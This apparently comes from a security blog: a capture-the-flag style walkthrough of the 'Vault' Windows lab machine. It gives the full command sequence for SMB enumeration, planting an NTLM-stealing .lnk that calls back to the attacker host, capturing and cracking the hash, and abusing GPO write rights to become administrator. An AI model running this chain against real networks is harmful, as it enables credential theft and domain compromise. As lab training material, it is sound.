skip to content
← back to catalog
ES
FILE №012 · CLASSIFICATION DECLASSIFIED ·

Vault

PG HARD TARGET: 192.168.224.172
#windows#active-directory#smb#ntlm-theft#responder#hashcat#genericwrite#gpo-abuse#sharphound#bloodhound
Vault Banner
PLATE Nº 01Vault Banner

Details

  • OS: Windows
  • Difficulty: Hard
  • IP Address: 192.168.224.172
  • Author: AETH3RON

Overview

Vault is a Windows machine that requires abusing weak SMB permissions to obtain initial credentials. The foothold is established by uploading a malicious shortcut file to a writable share, triggering an authentication request that allows us to capture and crack an NTLMv2 hash. Privilege escalation is achieved by enumerating Active Directory permissions with BloodHound, revealing a GenericWrite privilege on the Default Domain Policy, which is exploited using SharpGPOAbuse to grant local administrator rights.

Enumeration

Nmap

We began by performing a syn-scan to identify open ports on the target.

nmap -Pn -sS -sV -p- 192.168.224.172 -oN nmap-basic
nmap basic scan
PLATE Nº 02nmap basic scan

We followed up with a targeted scan on the discovered ports to enumerate services and scripts, as well as a UDP scan to identify potential UDP services.

nmap -Pn -sC -p53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389 192.168.224.172 -oN nmap-common
nmap common scan
PLATE Nº 03nmap common scan
nmap -sU --top-ports 100 -sV -Pn 192.168.224.172 -oN nmap-udp
nmap udp scan
PLATE Nº 04nmap udp scan

SMB

Enumerating the SMB protocol using NetExec, we identified that the Guest user had access to specific shares. Crucially, we discovered write permissions over the DocumentsShare share.

nxc smb 192.168.224.172 -u 'guest' -p '' --shares
nxc smb shares
PLATE Nº 05nxc smb shares

Foothold

Given the write access to the share and the lack of other immediate vectors, we deduced the machine might be vulnerable to a coerced authentication attack using a malicious file. We used the ntlm_theft tool to generate a .lnk file designed to trigger an authentication request back to our attacker machine.

python3 ntlm_theft.py -g lnk -s 192.168.45.223 -f hacked
ntlm_theft lnk generation
PLATE Nº 06ntlm_theft lnk generation

Next, we uploaded the malicious shortcut to the DocumentsShare using smbclient.

smbclient //192.168.224.172/DocumentsShare -U guest
put hacked.lnk
uploading lnk file
PLATE Nº 07uploading lnk file

With the file uploaded, we started Responder on our network interface to listen for the incoming connection.

sudo responder -w -I tun0

After a few seconds, the server accessed the file, and Responder successfully captured the NTLMv2 hash for the user anirudh.

responder captures hash
PLATE Nº 08responder captures hash

We saved the hash to a file and used Hashcat to crack it against the rockyou.txt wordlist.

hashcat -m 5600 anirudh.hash /usr/share/wordlists/rockyou.txt --force
hashcat hash
PLATE Nº 09hashcat hash
hashcat cracked
PLATE Nº 10hashcat cracked

The hash was successfully cracked, revealing the password: SecureHM. We used these credentials to establish a shell via Evil-WinRM.

evil-winrm -i 192.168.224.172 -u anirudh -p SecureHM
evil-winrm shell
PLATE Nº 11evil-winrm shell

Privilege Escalation

To identify potential escalation paths within the Active Directory environment, we uploaded SharpHound to the target and collected domain data.

.\SharpHound.exe -c All --zipfilename loot.zip
sharphound collection
PLATE Nº 12sharphound collection

After importing the data into BloodHound, we analyzed the user’s permissions. We discovered that anirudh possesses GenericWrite privileges over the Default Domain Policy GPO.

bloodhound genericwrite on GPO
PLATE Nº 13bloodhound genericwrite on GPO

We can abuse this permission to modify the Group Policy Object and grant ourselves administrative rights. We uploaded SharpGPOAbuse and executed it to add anirudh to the local Administrators group via the policy.

.\SharpGPOAbuse.exe --AddLocalAdmin --GPOName "Default Domain Policy" --UserAccount anirudh
SharpGPOAbuse execution
PLATE Nº 14SharpGPOAbuse execution

To apply the changes immediately, we forced a Group Policy update.

gpupdate /force
gpupdate force
PLATE Nº 15gpupdate force

Finally, we verified our membership in the Administrators group, confirming successful privilege escalation.

net localgroup administrators
net localgroup administrators
PLATE Nº 16net localgroup administrators

Business Impact

This attack chain demonstrates how weak SMB share permissions can lead to full Active Directory compromise. The ability to write files to a network share and capture NTLMv2 hashes through social engineering techniques represents a realistic initial access scenario frequently observed in enterprise penetration tests. The subsequent discovery and abuse of GenericWrite permissions on the Default Domain Policy GPO is particularly devastating — it allows an attacker to modify security policies affecting every machine in the domain. In a production environment, GPO manipulation could be used to deploy malware domain-wide, weaken authentication policies, or create backdoor administrative accounts across the entire organization.

References

// FIELD DISPATCHES

New recovered files, straight to your inbox. No noise.